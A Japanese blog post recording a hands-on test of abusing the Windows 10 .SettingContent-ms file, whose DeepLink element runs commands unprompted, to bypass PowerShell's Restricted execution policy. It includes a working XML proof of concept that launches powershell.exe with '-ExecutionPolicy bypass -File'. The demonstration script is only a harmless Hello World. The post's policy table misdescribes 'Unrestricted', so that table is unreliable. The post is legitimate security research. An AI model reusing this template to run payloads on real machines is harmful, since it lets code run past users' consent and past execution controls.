百舌鳥の早贄

年1ぐらいでダラダラと

SettingContent-msでPowershellのRestrictedをBypassした

業務後の空いた時間で、ずっとできていなかった検証をやったので適当にメモしておく。

はじめに

2018年7月2日(米国時間)、Malwarebytesが公開した情報によると、あるセキュリティリサーチャーが、Windows 10特有のファイルで拡張子が「.SettingContent-ms」という設定コンテンツファイルにおいて、任意のコードを記述し、実行できることを発見した。

この挙動を検証して、Windowsに搭載されているPowershellの実行ポリシーを回避し、Powershellスクリプトの実行に成功したので、その備忘録を兼ねて書く。

設定コンテンツファイルとは

設定コンテンツファイルである、「.SettingContent-ms」という拡張子のファイルは、XML形式のファイルで、主にコントロールパネルに対してショートカットを作成する目的で使われている。

Windowsエクスプローラ(Explorer.exe)が実行し、Windows 10の各種設定画面を呼び出すことができる

この.SettingContent-msという拡張子の設定コンテンツファイルでは、任意のコードを記述して実行できる。

任意コードの記述、実行

設定コンテンツファイルの.SettingContent-msには、DeepLinkという要素がある。

このDeepLinkは、任意のコードが記述でき、設定コンテンツファイルを実行した際に、記述した任意のコードが実行される仕組みになっている。 また、ここで指定したコードはユーザーに許可なしで実行される。

ちなみにMicrosoftによると、これは仕様のようで、修正するつもりはないとのこと*1*2

この任意コードの記述、実行の仕組みを使ってPowershellスクリプトを実行する。

Powershellの実行ポリシー

Windowsに搭載されているPowershellには実行ポリシーが存在する。

主に以下のようなポリシーがある。

実行ポリシー 概要
Bypass 警告表示やユーザーへ確認をせずに全てのスクリプトが実行可能
Unrestricted 信頼できる発行元が署名したスクリプトのみを実行可能
RemoteSigned ダウンロードしたスクリプトのうち、信頼できる発行元が署名したスクリプトのみ実行可能
AllSigned 信頼できる発行元が署名したスクリプトのみを実行可能
Restricted 全てのスクリプトの実行を禁止。対話型モードのみ

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-6

一番ポリシーが厳しいRestrictedな環境で、Powershellの実行ポリシーをbypassして、Powershellスクリプトを実行した。

検証

実行するPowershellスクリプトの作成

Hello, Worldを表示するとともに、実行ポリシーを表示するスクリプトを書く。

このスクリプトtest.ps1として保存しておく。

$string = "Hello, World!"

Write-Host $string
Get-ExecutionPolicy

任意のコードを記述した設定コンテンツファイルの作成

サンプルとなるコードはここから拝借し、一部改変する。

以下の点を変更。

  • 実行ファイルを calc.exe から powershell.exe に変更
  • -NoExitオプションを追加してスクリプト実行後ウィンドウを閉じないように
  • -ExecutionPolicyオプションに bypass パラメータを渡して実行ポリシーを bypass で実行
  • -Fileオプションで先ほど作成した実行するスクリプトファイルを指定

test.txt.settingcontent-msファイルとして保存しておく。

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>%windir%\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -ExecutionPolicy bypass -File [test.ps1のファイルパス]</DeepLink>
      <Icon>%windir%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>@shell32.dll,-4161</Description>
      <Keywords>@shell32.dll,-4161</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>

設定コンテンツファイルの実行

作成したtest.txt.settingcontent-msファイルを実行する。

結果、Restrictedなポリシーが設定されていても、任意のスクリプトを読み込んで実行できた。 一連の流れを貼っておく。

  1. 設定コンテンツファイルと、実行される.ps1ファイルを用意 f:id:mozqnet:20180726220302p:plain

  2. Powershellの実行ポリシがRestrictedで、スクリプトファイルを実行できないことを確認 f:id:mozqnet:20180726221201p:plain

  3. 設定コンテンツファイルからPowershellによってスクリプトの実行を確認(下ウィンドウ) f:id:mozqnet:20180726221845p:plain

まとめ

PowershellのRestrictedな実行ポリシーをbypassして、任意のPowershellスクリプトを実行できた。

他、わかったこと

  • アイコンやファイルの種類はまだ偽装できていない

  • スクリプトの実行権限は、設定コンテンツファイルを実行したユーザと思われる

  • 管理者権限を得るためには、管理者にて実行するか、他の脆弱性を組み合わせる必要がありそう

ただし、いくつかのセキュリティ製品では、悪意あるコードを記述した設定コンテンツファイルは検知され、駆除あるいは隔離されることを確認した。

検知回避など悪用する方法はいくらでも思いつきそうだが、ここまでにしておく。

以上。